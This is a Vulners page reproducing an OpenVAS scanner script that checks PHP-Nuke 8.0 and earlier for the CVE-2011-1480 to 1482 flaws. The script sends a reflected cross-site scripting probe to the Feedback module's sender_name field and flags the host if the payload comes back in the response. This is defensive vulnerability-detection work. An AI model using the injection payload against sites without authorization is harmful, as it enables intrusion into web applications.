Lucene search
+L

PHP-Nuke Multiple Vulnerabilities

🗓️ 01 Jul 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 37 Views

PHP-Nuke Multiple Vulnerabilities, improper user input validation, arbitrary SQL command execution, arbitrary web script injection

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2011-1480
21 Jun 201101:00
cve
cve
CVE
CVE-2011-1481
21 Jun 201101:00
cve
cve
CVE
CVE-2011-1482
21 Jun 201101:00
cve
cvelist
Cvelist
CVE-2011-1480
21 Jun 201101:00
cvelist
cvelist
Cvelist
CVE-2011-1481
21 Jun 201101:00
cvelist
cvelist
Cvelist
CVE-2011-1482
21 Jun 201101:00
cvelist
euvd
EUVD
EUVD-2011-1484
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2011-1485
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2011-1486
7 Oct 202500:30
euvd
nvd
NVD
CVE-2011-1480
21 Jun 201102:52
nvd
Rows per page
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:phpnuke:php-nuke";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902600");
  script_version("2025-03-05T05:38:53+0000");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:53 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2011-07-01 16:09:45 +0200 (Fri, 01 Jul 2011)");
  script_cve_id("CVE-2011-1480", "CVE-2011-1481", "CVE-2011-1482");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("PHP-Nuke Multiple Vulnerabilities");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("secpod_php_nuke_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("php-nuke/installed");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  SQL commands, inject arbitrary web script or hijack the authentication of administrators.");

  script_tag(name:"affected", value:"PHP-Nuke versions 8.0 and prior.");

  script_tag(name:"insight", value:"Multiple flaws are due to:

  - An improper validation of user-supplied input to 'chng_uid', 'sender_name'
  and 'sender_email' parameter in the 'admin.php' and 'modules.php'.

  - An improper validation of user-supplied input to add user accounts or grant
  the administrative privilege in the 'mainfile.php'.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"PHP-Nuke is prone to multiple vulnerabilities.");

  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/66278");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/47000");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/47001");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/47002");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/66279");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/66280");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}


include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if( dir == "/" ) dir = "";

host = http_host_name( port:port );

authVariables = 'sender_name="><img src=x onerror=alert(/VT-XSS-Test/'+
                ')>&sender_email=&message=&opi=ds&submit=Send';
filename = dir + "/modules.php?name=Feedback";

req = string("POST ", filename, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Referer: http://", host, filename, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(authVariables), "\r\n\r\n",
             authVariables);
res = http_keepalive_send_recv( port:port, data:req );

if( res =~ "^HTTP/1\.[01] 200" && "onerror=alert(/VT-XSS-Test/)">< res ) {
  report = http_report_vuln_url( port:port, url:filename );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation